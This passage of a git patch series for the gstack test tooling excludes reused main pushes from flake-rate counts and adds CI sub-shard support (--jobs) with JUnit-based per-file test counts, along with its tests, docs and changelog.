runEntries.set(run.id, entries); } - return rankFlakyFiles(runEntries, window.length, window[window.length - 1]?.createdAt ?? iso(opts.sinceDays)); + const note = reuse.note(); + return { ...rankFlakyFiles(runEntries, window.length, window[window.length - 1]?.createdAt ?? since), skipped, ...(note ? { note } : {}) }; } /** Markdown table of one run's merged flake ledgers, for a job summary. */ diff --git a/scripts/test-health-report.ts b/scripts/test-health-report.ts index 7d89e60c9..bbc48d17e 100644 --- a/scripts/test-health-report.ts +++ b/scripts/test-health-report.ts @@ -128,12 +128,18 @@ export function flakeCheck(window: FlakeWindow | Error): Check { fix: 'Fix the race at source (docs/TESTING_INTERNALS.md#flake-ledger); never raise the timeout or add a retry. Reproduce with `bun test ` under load.' }; if (window instanceof Error) return { ...base, status: 'unavailable', detail: `unavailable: ${unavailableReason(window)}` }; const failing = window.files.filter(file => file.failing); + const left = flakeWindowNotes(window); if (!window.enforceable) { - return { ...base, status: 'pass', detail: `report-only: ${window.runs} main run(s) since ${window.since.slice(0, 10)} (< 20 needed to enforce)` }; + return { ...base, status: 'pass', detail: `report-only: ${window.runs} main run(s) since ${window.since.slice(0, 10)} (< 20 needed to enforce)${left}` }; } - if (failing.length === 0) return { ...base, status: 'pass', detail: `no file above 5% over ${window.runs} main runs` }; + if (failing.length === 0) return { ...base, status: 'pass', detail: `no file above 5% over ${window.runs} main runs${left}` }; return { ...base, status: 'fail', - detail: failing.map(file => `${file.file}: flaky in ${file.flakyRuns}/${window.runs} main runs (${pct(file.rate)} > 5%)`).join('; ') }; + detail: failing.map(file => `${file.file}: flaky in ${file.flakyRuns}/${window.runs} main runs (${pct(file.rate)} > 5%)`).join('; ') + left }; +} + +/** The reused main pushes a flake window left out and the runs it could not check, or ''. */ +function flakeWindowNotes(window: FlakeWindow): string { + return `${window.skipped ? `; ${window.skipped} reused main push(es) left out` : ''}${window.note ? `; ${window.note}` : ''}`; } export function unseededCheck(root: string): Check { @@ -286,9 +292,9 @@ export function collectHealth(inputs: HealthInputs): HealthReport { metrics.push(...censusMetrics(inputs, artifactDirs)); const flakes = attempt(() => readCiFlakeLedgers({ client, repo, sinceDays, now, cacheDir })); - metrics.push(metric('free-flaky-pass-rate', 'Free-suite flaky-pass rate', 'share of main free-tests runs (success or failure) with at least one flaky-pass ledger entry; per-file rate = runs with that file / runs', () => { + metrics.push(metric('free-flaky-pass-rate', 'Free-suite flaky-pass rate', 'share of main free-tests runs (success or failure) with at least one flaky-pass ledger entry; per-file rate = runs with that file / runs; a main push that reused its pull request\'s run (no artifacts, `reuse` job green) is left out', () => { const window = need(flakes); - return { value: `${pct(window.runs ? window.flakyRuns / window.runs : 0)} (${window.flakyRuns}/${window.runs} main runs since ${window.since.slice(0, 10)} needed the retry pass; ${window.files.length} file(s))`, + return { value: `${pct(window.runs ? window.flakyRuns / window.runs : 0)} (${window.flakyRuns}/${window.runs} main runs since ${window.since.slice(0, 10)} needed the retry pass; ${window.files.length} file(s)${flakeWindowNotes(window)})`, detail: window.files.slice(0, 15).map(file => `${file.file}: ${file.flakyRuns}/${window.runs} runs (${pct(file.rate)})${file.failing ? ' FAIL > 5%' : ''}`) }; })); diff --git a/test/factory-scorecard.test.ts b/test/factory-scorecard.test.ts index 9e622bbcf..3794a333e 100644 --- a/test/factory-scorecard.test.ts +++ b/test/factory-scorecard.test.ts @@ -68,6 +68,24 @@ describe('factory-scorecard: recorded window', () => { expect(values.releases).toBe('1 (v1.0.0)'); }); + test('free runs that ran no shards (reused main pushes) stay out of the free-retry count and its denominator (#3725)', () => { + // Value: protects=the free-retry rate is read over runs that executed shards only; fails_when=a reused run (no artifacts, reuse job green) counts as a zero-retry run again; why_new=#3725, after #3709 a main push that reuses its PR's run uploads nothing; seam=fixtureSource; no_claim=runs past --max-artifact-runs, which are not read + const fx = fixture(); + const freeRuns = fx.responses[Object.keys(fx.responses).find(k => k.includes('/free-tests.yml/runs?'))!] as { workflow_runs: any[] }; + const real = freeRuns.workflow_runs[0]; + freeRuns.workflow_runs.splice(0, 0, { ...real, id: 8005, created_at: '2026-10-25T18:00:00Z' }); + freeRuns.workflow_runs.splice(2, 0, { ...real, id: 8004, created_at: '2026-10-24T18:00:00Z' }); + for (const id of [8004, 8005]) fx.responses[`repos/acme/widgets/actions/runs/${id}/attempts/1/jobs?per_page=100&page=1`] = { jobs: [ + { id: 1, name: 'reuse', conclusion: 'success' }, { id: 2, name: 'free-plan', conclusion: 'skipped' }, { id: 3, name: 'free-tests', conclusion: 'success' }] }; + const card = collectScorecard(fixtureSource(fx, scratch()), options()); + const clean = collectScorecard(fixtureSource(fixture(), scratch()), options()); + expect(card.unavailable).toEqual([]); + expect(card.freeRuns).toEqual(clean.freeRuns); + expect(card.freeRuns.map(r => [r.id, r.retries])).toEqual([[8003, 0], [8002, 0], [8001, 2]]); + expect([card.freeRunsSkipped, clean.freeRunsSkipped]).toEqual([2, 0]); + expect(byId(scorecardRows(card)).flaky).toBe('2 paid case(s) passed on their one rerun (rerun spend $1.10); 2 free-suite retries in 1 of 3 runs; 2 reused main push(es) left out'); + }); + test('a crew login list overrides the author_association rule', () => { const card = collectScorecard(fixtureSource(fixture(), scratch()), options({ crew: ['Alice'] })); expect(byId(scorecardRows(card)).merged).toBe('3 (crew 1, outside 2)'); diff --git a/test/fixtures/factory-scorecard/recorded.json b/test/fixtures/factory-scorecard/recorded.json index 8774118cb..01634e3cd 100644 --- a/test/fixtures/factory-scorecard/recorded.json +++ b/test/fixtures/factory-scorecard/recorded.json @@ -299,6 +299,12 @@ } }, "artifacts": { + "8003": { + "free-result-shard-1": { "result.json": "{}" } + }, + "8002": { + "free-result-shard-1": { "result.json": "{}" } + }, "8001": { "flake-ledger-shard-1": { "flake-ledger.jsonl": "{\"kind\":\"flaky-pass\",\"file\":\"test/a.test.ts\",\"shard\":\"shard-1\",\"attempts\":2}\n{\"kind\":\"flaky-pass\",\"file\":\"test/b.test.ts\",\"shard\":\"shard-1\",\"attempts\":2}\n{\"kind\":\"other\",\"file\":\"test/c.test.ts\"}\n" diff --git a/test/test-health-report.test.ts b/test/test-health-report.test.ts index 41f7d2736..3aca3162f 100644 --- a/test/test-health-report.test.ts +++ b/test/test-health-report.test.ts @@ -112,14 +112,60 @@ describe('W7a flake ledger reader', () => { const client = fakeClient([ [/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: runs })], [/runs\/100\/artifacts/, () => ({ artifacts: [{ id: 1, name: 'flake-ledger-3', size_in_bytes: 10 }, { id: 2, name: 'free-result-3', size_in_bytes: 10 }] })], - [/runs\/101\/artifacts/, () => ({ artifacts: [{ id: 3, name: 'flake-ledger-7', size_in_bytes: 10, expired: true }] })], - [/runs\/\d+\/artifacts/, () => ({ artifacts: [] })], + [/runs\/101\/artifacts/, () => ({ artifacts: [{ id: 3, name: 'flake-ledger-7', size_in_bytes: 10, expired: true }, { id: 4, name: 'free-result-7', size_in_bytes: 10 }] })], + [/runs\/\d+\/artifacts/, () => ({ artifacts: [{ id: 5, name: 'free-result-1', size_in_bytes: 10 }] })], ], { 1: { 'flake-ledger.jsonl': ledger('test/a.test.ts') + ledger('test/a.test.ts') } }); const window = readCiFlakeLedgers({ client, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') }); expect(window).toMatchObject({ runs: 20, flakyRuns: 1, enforceable: true, files: [{ file: 'test/a.test.ts', flakyRuns: 1, entries: 2, rate: 0.05, failing: false }] }); expect(client.calls[0]).toContain('branch=main'); }); + // A reused main push (#3709) uploads no artifact and its reuse job succeeds; a real run uploads free-plan and free-result-*. + const reuseClient = (runs: ReturnType[], kind: (id: number) => 'reused' | 'real' | 'flaky', jobs?: () => unknown) => fakeClient([ + [/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: runs })], + [/runs\/\d+\/artifacts/, apiPath => { + const k = kind(Number(/runs\/(\d+)\/artifacts/.exec(apiPath)![1])); + return { artifacts: k === 'reused' ? [] : [{ id: 8, name: 'free-plan', size_in_bytes: 10 }, + ...(k === 'flaky' ? [{ id: 9, name: 'flake-ledger-3', size_in_bytes: 10 }] : [])] }; + }], + [/runs\/\d+\/attempts\/1\/jobs/, jobs ?? (() => ({ jobs: [{ id: 1, name: 'reuse', conclusion: 'success' }, { id: 2, name: 'free-plan', conclusion: 'skipped' }, + { id: 3, name: 'free-tests', conclusion: 'success' }] }))], + ], { 9: { 'flake-ledger.jsonl': ledger('test/a.test.ts') } }); + + test('reused main pushes that ran no shards stay out of the window and its denominator; the window refills with older runs that ran shards (#3725)', () => { + // Value: protects=test:health --enforce still flags a file flaky in >5% of runs that executed shards when main pushes reuse their PR's run; fails_when=a reused run (no artifacts, reuse job green) counts as a zero-flake run again; why_new=#3725, after #3709 reused runs diluted 2/20 (10%) to 2/45 (4.4%); seam=GhClient fake; no_claim=the live artifact retention + const recent = Array.from({ length: 45 }, (_, i) => run(200 + i, { created_at: day(1 + i * 0.1) })); + const older = Array.from({ length: 10 }, (_, i) => run(300 + i, { created_at: day(10 + i) })); + const client = reuseClient([...recent, ...older], id => (id === 200 || id === 203 ? 'flaky' : id < 300 && (id - 200) % 3 !== 0 ? 'reused' : 'real')); + const window = readCiFlakeLedgers({ client, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') }); + expect(window).toMatchObject({ runs: 20, flakyRuns: 2, skipped: 30, enforceable: true, since: day(14), + files: [{ file: 'test/a.test.ts', flakyRuns: 2, rate: 0.1, failing: true }] }); + expect(window.note).toBeUndefined(); + expect(client.calls.filter(call => call.includes('/artifacts')).length).toBe(50); + expect(client.calls.filter(call => call.includes('/jobs')).length).toBe(30); + expect(flakeCheck(window)).toMatchObject({ status: 'fail', detail: 'test/a.test.ts: flaky in 2/20 main runs (10.0% > 5%); 30 reused main push(es) left out' }); + }); + + test('the reuse check spends at most 40 job listings; past the cap or on a failed listing a run counts as before, and the report says so', () => { + // Value: protects=the reuse lookups stay bounded and fail toward the pre-#3725 count visibly; fails_when=lookups are uncapped, or a capped or failed lookup drops the run or stays silent; why_new=#3725 adds a per-run job listing; seam=GhClient fake; no_claim=none beyond protects + const runs = [...Array.from({ length: 20 }, (_, i) => run(400 + i, { created_at: day(1 + i * 0.1) })), + ...Array.from({ length: 60 }, (_, i) => run(500 + i, { created_at: day(8 + i * 0.5) }))]; + const kind = (id: number) => (id === 400 ? 'flaky' : id === 401 ? 'real' : 'reused'); + const client = reuseClient(runs, kind); + const window = readCiFlakeLedgers({ client, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') }); + expect(window).toMatchObject({ runs: 20, flakyRuns: 1, skipped: 40, enforceable: true, since: day(8 + 39 * 0.5), + files: [{ file: 'test/a.test.ts', rate: 0.05, failing: false }] }); + expect(window.note).toBe('18 run(s) with no artifacts not checked for main-push reuse (cap of 40 job listings reached); counted as before #3725'); + expect(client.calls.filter(call => call.includes('/jobs')).length).toBe(40); + expect(client.calls.filter(call => call.includes('/artifacts')).length).toBe(60); + expect(flakeCheck(window).detail).toBe('no file above 5% over 20 main runs; 40 reused main push(es) left out; ' + window.note); + + const failing = reuseClient(runs, kind, () => { throw new Error('gh api failed: HTTP 502: Bad Gateway'); }); + const unchecked = readCiFlakeLedgers({ client: failing, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') }); + expect(unchecked).toMatchObject({ runs: 20, skipped: 0, since: day(1 + 19 * 0.1), files: [{ file: 'test/a.test.ts', rate: 0.05 }] }); + expect(unchecked.note).toStartWith('18 run(s) with no artifacts not checked for main-push reuse (GitHub API server error'); + }); + test('the job-summary table names files, counts and shards', () => { expect(formatFlakeSummary([])).toContain('None: every file passed on its first run.'); const table = formatFlakeSummary(parseFlakeLedger(ledger('test/a.test.ts') + ledger('test/a.test.ts') + ledger('test/b.test.ts'))); @@ -188,7 +234,7 @@ describe('collectHealth over recorded fixture data', () => { { id: 4, name: 'redispatch', conclusion: 'skipped', started_at: null, completed_at: null }] })], [/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: [run(60), run(61, { conclusion: 'failure' })] })], [/runs\/60\/artifacts/, () => ({ artifacts: [{ id: 61, name: 'flake-ledger-2', size_in_bytes: 10 }] })], - [/runs\/61\/artifacts/, () => ({ artifacts: [] })], + [/runs\/61\/artifacts/, () => ({ artifacts: [{ id: 62, name: 'free-result-1', size_in_bytes: 10 }] })], [/workflows\/windows-smoke\.yml\/runs/, () => ({ workflow_runs: windowsRuns })], ], { 11: { 'manifest.json': JSON.stringify({ prCoverage: { mode: 'full-fallback', e2e: ['gate-a', 'gate-b'], judges: ['judge-a'], From 68195c372e398697539966c8fb468e4a92232223 Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Sun, 1 Nov 2026 21:42:27 -0800 Subject: [PATCH 4/7] v1.92.60.0 test-free-shards: --ci-run --jobs k sub-shards inside one CI job (k=1 default) (GSTA-203 PR 2) (#3730) * test-free-shards: --ci-run --jobs k sub-shards inside one CI job (k=1 default), per-file JUnit counts (GSTA-203 PR 2) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * shard-jobs: serial sub-shard gets what is left of the shard wall; register shard-jobs.ts in ship-measure touchfiles Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * shard-jobs: validate every sub-shard summary, bounded JUnit read, stricter --ci-verify records, unique count paths, no serial launch without wall Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * shard-jobs tests: non-hex plan id fixture; harness-version: shard-jobs FREE_ONLY entry is non-behavioral Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(test:free): exact root-bound JUnit path matching; serial timeout text names the wall the parallel phase left Adversarial pass 2 (GSTA-203 PR 2): a plain relative path now matches a planned file exactly, and an absolute or ../-prefixed path matches only when its prefix is the child's root, so an unplanned browse/test/x.test.ts is never credited to test/x.test.ts. The serial sub-shard's FREE_SUBSHARD_TIMEOUT text says how much of the shard wall the parallel phase left it. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * docs(testing): real-home tripwire covers --jobs k>1 parallel sub-shards (docs audit docs-203-1) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 4 + VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- docs/TESTING_INTERNALS.md | 58 ++- package.json | 2 +- scripts/harness-version.json | 2 +- scripts/lib/shard-jobs.ts | 422 ++++++++++++++++++++++ scripts/test-free-shards.ts | 63 +++- scripts/test-pr-profile.ts | 1 + test/fixtures/module-size-ratchet.json | 1 + test/helpers/touchfiles-data.ts | 2 +- test/shard-jobs.test.ts | 465 +++++++++++++++++++++++++ test/test-free-shards.test.ts | 2 +- test/ubicloud-pregate-remote.test.ts | 2 +- 14 files changed, 1005 insertions(+), 23 deletions(-) create mode 100644 scripts/lib/shard-jobs.ts create mode 100644 test/shard-jobs.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 285dcc834..3832a0570 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,9 @@ # Changelog +## [1.92.60.0] - 2026-11-02 + +Free test shards can now run their files as several sub-shards side by side inside one CI job. `bun run scripts/test-free-shards.ts --ci-run --shard --result --jobs ` splits the shard into k parts that each run in their own sandboxed `bun test` process. The default stays at 1, so CI runs exactly as before until a workflow opts in. Bad `--jobs` values stop with `FREE_JOBS_INVALID`, a sub-shard that runs out of time prints `FREE_SUBSHARD_TIMEOUT` with a serial reproduce command, and every CI shard result now records per-file test and `expect()` counts. See docs/TESTING_INTERNALS.md#sub-shards-inside-one-ci-job. + ## [1.92.59.0] - 2026-11-02 **`test:health` and the factory scorecard leave reused main pushes out of their free-suite flake counts (#3725).** Since #3709, a main push whose merged pull request already passed on the same tree reuses that run. It finishes green, runs no shards and uploads nothing, so both readers counted it as a run with zero flakes. As reuse grows, that pulls real flake rates under the 5% bar, and `bun run test:health --enforce` stops flagging files without any error. diff --git a/VERSION b/VERSION index 274d8da36..33bbd1032 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.59.0 +1.92.60.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index 0dc640d04..c70c5eb53 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.59.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.60.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/docs/TESTING_INTERNALS.md b/docs/TESTING_INTERNALS.md index ca7c3002c..91c400897 100644 --- a/docs/TESTING_INTERNALS.md +++ b/docs/TESTING_INTERNALS.md @@ -1428,10 +1428,13 @@ No free test may write the developer's real home. `scripts/lib/free-home-guard.t snapshots `~/.gstack`, `~/.claude`, `~/.codex`, `~/.agents` and `~/.config/gstack` (live session logs excluded) and fails the run when an entry changes. -- A shard that runs alone (`--shard`, CI, the exclusive host-state shard, the - flaky retry) owns its window, so the failure names its files. -- Full-suite shards run concurrently on one HOME and cannot tell whose write a - change was. The runner guards that whole phase once and names no shard. +- A shard that runs alone (`--shard`, a CI shard at `--jobs 1` or its trailing + serial sub-shard, the exclusive host-state shard, the flaky retry) owns its + window, so the failure names its files. +- Full-suite shards, and the parallel sub-shards of a CI shard at `--jobs k > 1` + ([sub-shards](#sub-shards-inside-one-ci-job)), run concurrently on one HOME and + cannot tell whose write a change was. The runner guards that whole phase once + and names no shard. - `bun run scripts/test-free-shards.ts --attribute-home` names the writer: it runs every file alone with a private HOME (browser cache and git identity still come from the real home) and reports each file that wrote a watched @@ -1565,6 +1568,53 @@ refresh to a maintainer. besides the bot's one refresh commit, later runs leave it alone. Only runs on `main` push the branch; a dispatch from another ref reports only. +### Sub-shards inside one CI job + +`--ci-run --shard i --result --jobs k` runs one planned CI shard as +k sub-shards side by side on the same machine (`scripts/lib/shard-jobs.ts`). Each +sub-shard is an ordinary free shard child: one `bun test` process, serial +inside, with its own sandbox, process-group kill and log. Bun's worker +`--parallel` mode is still not used (decision V3/D6 in +`scripts/test-free-shards.ts`). The default is `k = 1`, which runs today's one +child, so no workflow changes behavior until it passes `--jobs`. + +- `--jobs` applies only to `--ci-run`. It takes a positive whole number up to the + shard's file count (an empty shard takes 1); anything else stops with + `FREE_JOBS_INVALID`. `GSTACK_FREE_JOBS` sets the local full-suite process count + and never changes `--ci-run`. The exclusive host-state shard has one file, so + a workflow passes it `--jobs 1` or no `--jobs`. +- Files are split into disjoint sub-shards packed by the duration seed. Each + sub-shard has an id (`:.`) bound to its file list. + Files in `TREE_MUTATING` or `SLOW_UNDER_LOAD` run after the parallel + sub-shards settle, serially, in one trailing sub-shard. +- The parallel phase uses the concurrent-phase real-home guard, the same one + full-suite mode uses; the serial sub-shard guards itself and names its files. +- The CI shard keeps its k = 1 wall deadline: the parallel sub-shards get it, + and the serial sub-shard gets whatever is left of it, so k never extends a + deadline. The parent waits for every child to settle. +- The parent merges every sub-shard result into the shard's one `outcome` + before the single flaky-retry pass, so the five-file retry cap stays per CI + shard. A missing, duplicate or incomplete sub-shard result fails the shard + with `FREE_SUBSHARD_REJECTED` and vetoes the retry. `--ci-verify` re-checks + the `jobs` and `subShards` records a `k > 1` result carries. +- Sub-shard runs never write `scripts/free-test-durations.json`; only + `--record-durations` does, and only from one-file children. + +`FREE_SUBSHARD_TIMEOUT` means a sub-shard hit its wall at `k > 1`. The message +names the file in flight, k, the runner and the CI run id, and prints a serial +reproduce command. If the file passes serially, add it to `SLOW_UNDER_LOAD` in +`scripts/lib/shard-jobs.ts` with that run id and a reason. Never raise the +timeout. `SLOW_UNDER_LOAD` is empty today. + +Every `--ci-run` result, at any k, records per-file test and `expect()` counts +in `outcome.counts` (`tests`, `pass`, `fail`, `skip`, `todo`, `expects` per +file, plus shard totals). They come from bun's JUnit reporter, which the runner +writes into the shard sandbox; on the pinned Bun 1.4.2 it attributes both counts +per file inside a multi-file child and leaves the console stream unchanged. +`complete: false` (with a `problem`) means the report was missing or did not add +up to bun's own test count. Counts are evidence for comparing k values; they +never decide a verdict. + ### Windows free lane Windows has minimal support ([support tiers](support-tiers.md)). The required diff --git a/package.json b/package.json index af7acc9c6..d1670b592 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.59", + "version": "1.92.60", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/scripts/harness-version.json b/scripts/harness-version.json index 1e091511b..8adc61caa 100644 --- a/scripts/harness-version.json +++ b/scripts/harness-version.json @@ -17,7 +17,7 @@ "scripts/lib/published-text.ts": {"blob":"3f2e4d616b5dd0204035710c66b64d49055c5714","since":6}, "scripts/lib/shard-engine.ts": {"blob":"dc714d7d897aed185c0ec3d2c92ad22d954039e5","since":6,"nonBehavioral":"createShardSandbox drops the Capy launch markers (GSTACK_SESSION_KIND, GSTACK_CAPY, GSTACK_EPHEMERAL, GSTACK_INSTALL_VERDICT) from shard environments; CI never sets them, so no case's input or verdict changes there, and on a Capy machine fixtures now see the session kind they set themselves instead of the installer's"}, "scripts/test-paid-shards.ts": {"blob":"5439d0a8f6e1569fa7c924af20d67c30c81d5d30","since":6,"nonBehavioral":"credential rejections are classed infra instead of assertion: no case's pass or fail changes; only failed trials whose provider rejected the run's key move class, so no rerun spends on a rejected key"}, - "scripts/test-pr-profile.ts": {"blob":"25e2d88dd2e1caae5213fb396b977891bc67549a","since":6,"nonBehavioral":"scripts/test-pr-profile.ts only lists .github/workflows/windows-smoke.yml among files no paid case reads; no case's selection, prompt or verdict can change"}, + "scripts/test-pr-profile.ts": {"blob":"44ae88bebf8f716f70a3bd836c8bedb03e6653e8","since":6,"nonBehavioral":"FREE_ONLY_PR_FILES gains scripts/lib/shard-jobs.ts (free-runner module) and .github/workflows/windows-smoke.yml (a workflow no paid case reads); both change only which PR paths select paid cases, never how a case runs or is judged"}, "scripts/test-strict-output.ts": {"blob":"01185d20dc9761b04b9b2f751ec98664fe0eaf93","since":6}, "test/helpers/agent-sdk-runner.ts": {"blob":"210bba92d241a90df578b2c7fc943ac5755d0025","since":6}, "test/helpers/auq-substance-panel.ts": {"blob":"4881260ef793668e4963a062db6d06a5e1f7a40f","since":6}, diff --git a/scripts/lib/shard-jobs.ts b/scripts/lib/shard-jobs.ts new file mode 100644 index 000000000..c96100e01 --- /dev/null +++ b/scripts/lib/shard-jobs.ts @@ -0,0 +1,422 @@ +/** + * Sub-shards inside one CI job: `--ci-run --shard i --result r --jobs k` + * (GSTA-203 PR 2, principle "buy cores, not shards"). + * + * A CI shard's files split into k disjoint, identity-bound sub-shards that run + * side by side through the free runner's own process-shard path (one bun child + * each, serial inside, own sandbox, group kill, log), never Bun's worker + * `--parallel` (decision V3/D6 in scripts/test-free-shards.ts). The rules: + * + * - k = 1 (the default) is today's single child, unchanged. + * - Files in TREE_MUTATING or SLOW_UNDER_LOAD run after the parallel + * sub-shards settle, serially, in one trailing sub-shard. + * - The parallel phase uses the concurrent-phase home guard; every child + * uses the shared guard inside it, exactly as full-suite mode does. + * - The whole CI shard keeps its k = 1 wall: the parallel sub-shards get it, + * and the serial sub-shard gets what is left of it, so k never extends a + * deadline; every launched child settles before the parent goes on. + * - The parent merges every sub-shard result before the single retry pass, + * so the five-file retry cap stays per CI shard; a missing, duplicate or + * incomplete sub-shard result fails the shard. + * - Sub-shard runs never write the duration seed (only `--record-durations` + * does, from one-file children). + * + * Per-file test and expect() counts come from bun's JUnit reporter, which + * attributes both per file inside a multi-file child on the pinned Bun 1.4.2 + * (the console stream is byte-identical with or without it). Counts are + * evidence for k > 1 comparisons; they never decide a verdict. + */ +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import type { FreeCiPlan, FreeCiResult, FreeShardOutcome } from '../test-free-shards'; +import { guardFreeHome, sharedFreeHome, type FreeHomeGuard, type FreeHomeGuardFactory } from './free-home-guard'; +import { normalizeRelativePath } from './shard-engine'; + +/** + * Files that pass alone but time out as a sub-shard under load. Each entry + * names the CI run id where it timed out (FREE_SUBSHARD_TIMEOUT prints it). + * They run in the trailing serial sub-shard under `--jobs`; at k = 1 nothing + * changes. Keys are pinned against the live file census by + * test/shard-jobs.test.ts. Never raise a timeout instead of adding an entry. + */ +export const SLOW_UNDER_LOAD: Record = {}; + +export const FREE_JOBS_INVALID = 'FREE_JOBS_INVALID'; +export const FREE_SUBSHARD_TIMEOUT = 'FREE_SUBSHARD_TIMEOUT'; +export const FREE_SUBSHARD_REJECTED = 'FREE_SUBSHARD_REJECTED'; +const DOCS = 'docs/TESTING_INTERNALS.md#sub-shards-inside-one-ci-job'; +const JOBS_FIX = `--jobs applies only to --ci-run and defaults to 1; GSTACK_FREE_JOBS sets the local full-suite process count and never changes --ci-run. See ${DOCS}`; + +/** `--jobs ` at parse time: digits only, at least 1. */ +export function parseJobsFlag(raw: string | undefined): number { + if (raw === undefined || !/^\d+$/.test(raw) || Number(raw) < 1) { + throw new Error(`${FREE_JOBS_INVALID}: --jobs needs a positive whole number; got ${JSON.stringify(raw ?? '')}. ${JOBS_FIX}`); + } + return Number(raw); +} + +export function rejectJobsWithoutCiRun(): never { + throw new Error(`${FREE_JOBS_INVALID}: --jobs needs --ci-run. ${JOBS_FIX}`); +} + +/** `--jobs ` against the planned shard: k may not exceed its file count (an empty shard allows 1). */ +export function validateJobsForShard(jobs: number, fileCount: number, shard: number): void { + const max = Math.max(1, fileCount); + if (jobs > max) { + throw new Error(`${FREE_JOBS_INVALID}: --jobs ${jobs} is more than CI shard ${shard}'s ${fileCount} file(s); use 1 to ${max}. ${JOBS_FIX}`); + } +} + +export interface FileTestCounts { tests: number; pass: number; fail: number; skip: number; todo: number; expects: number } +export interface ShardTestCounts { + source: 'bun-junit'; + /** Every reported file was planned and the per-file tests add up to bun's own `Ran N tests` count. */ + complete: boolean; + problem?: string; + files: Record; + totals: FileTestCounts; +} + +const zeroCounts = (): FileTestCounts => ({ tests: 0, pass: 0, fail: 0, skip: 0, todo: 0, expects: 0 }); +const addCounts = (into: FileTestCounts, from: FileTestCounts) => { + for (const key of Object.keys(into) as Array) into[key] += from[key]; +}; +const TAG = /<(\/?)(testsuites|testsuite|testcase|failure|error|skipped)\b((?:[^>"']|"[^"]*"|'[^']*')*?)(\/?)>/g; +const ATTR = /([\w:-]+)="([^"]*)"/g; +const ENTITIES: Record = { amp: '&', lt: '<', gt: '>', quot: '"', apos: "'" }; +const decode = (text: string) => text.replace(/&(#x[0-9a-f]+|#\d+|\w+);/gi, (whole, entity: string) => entity[0] === '#' + ? String.fromCodePoint(entity[1].toLowerCase() === 'x' ? parseInt(entity.slice(2), 16) : Number(entity.slice(1))) + : ENTITIES[entity] ?? whole); +const attributes = (text: string): Record => + Object.fromEntries([...text.matchAll(ATTR)].map(([, key, value]) => [key, decode(value)])); + +/** + * Per-file counts from bun's JUnit XML. A testcase is a fail when it holds a + * failure or error, a todo when skipped with message TODO, a skip when + * skipped otherwise, else a pass; expects sum each testcase's assertions. + * Printed paths are matched back to planned files. Bun prints them relative + * to the child's real cwd, so a plain relative path must match exactly; an + * absolute or ../-prefixed path matches only when what precedes the planned + * file is the child's root. Files that never ran a test are absent. + */ +export function parseJunitCounts(xml: string | null, planned: readonly string[], testsRan: number | null, root = process.cwd()): ShardTestCounts { + const files: Record = {}; + const totals = zeroCounts(); + const result = (complete: boolean, problem?: string): ShardTestCounts => + ({ source: 'bun-junit', complete, ...(problem ? { problem } : {}), files, totals }); + if (xml === null) return result(false, 'bun wrote no JUnit report'); + const plannedSet = new Set(planned); + const unknown = new Set(); + const roots = new Set([root, (() => { try { return fs.realpathSync(root); } catch { return root; } })()].map(normalizeRelativePath)); + const isRoot = (prefix: string) => [...roots].some(dir => dir === prefix || dir.endsWith(`/${prefix}`)); + const canonical = (printed: string) => { + const normalized = normalizeRelativePath(printed); + const stripped = normalized.replace(/^(?:\.{1,2}\/)+/, ''); + if (plannedSet.has(stripped)) return stripped; + if (stripped === normalized && !/^(?:\/|[A-Za-z]:\/)/.test(stripped)) return stripped; + const matches = planned.filter(file => stripped.endsWith(`/${file}`) && isRoot(stripped.slice(0, -file.length - 1))); + return matches.length === 1 ? matches[0] : stripped; + }; + let current: { file: string; state: 'pass' | 'fail' | 'skip' | 'todo'; expects: number } | null = null; + const finish = () => { + if (!current) return; + const entry = files[current.file] ??= zeroCounts(); + entry.tests += 1; + entry[current.state] += 1; + entry.expects += current.expects; + if (!plannedSet.has(current.file)) unknown.add(current.file); + current = null; + }; + for (const [, closing, name, body, selfClosing] of xml.matchAll(TAG)) { + if (name === 'testcase') { + if (closing) { finish(); continue; } + const attrs = attributes(body); + current = { file: canonical(attrs.file ?? ''), state: 'pass', expects: Number(attrs.assertions ?? 0) || 0 }; + if (selfClosing) finish(); + } else if (current && !closing && (name === 'failure' || name === 'error')) { + current.state = 'fail'; + } else if (current && !closing && name === 'skipped' && current.state === 'pass') { + current.state = attributes(body).message === 'TODO' ? 'todo' : 'skip'; + } + } + finish(); + for (const entry of Object.values(files)) addCounts(totals, entry); + if (unknown.size) return result(false, `JUnit named unplanned file(s): ${[...unknown].sort().join(', ')}`); + if (testsRan === null) return result(false, "bun's summary has no test count"); + if (totals.tests !== testsRan) return result(false, `JUnit counted ${totals.tests} tests, bun's summary ${testsRan}`); + return result(true); +} + +const JUNIT_MAX_BYTES = 64 * 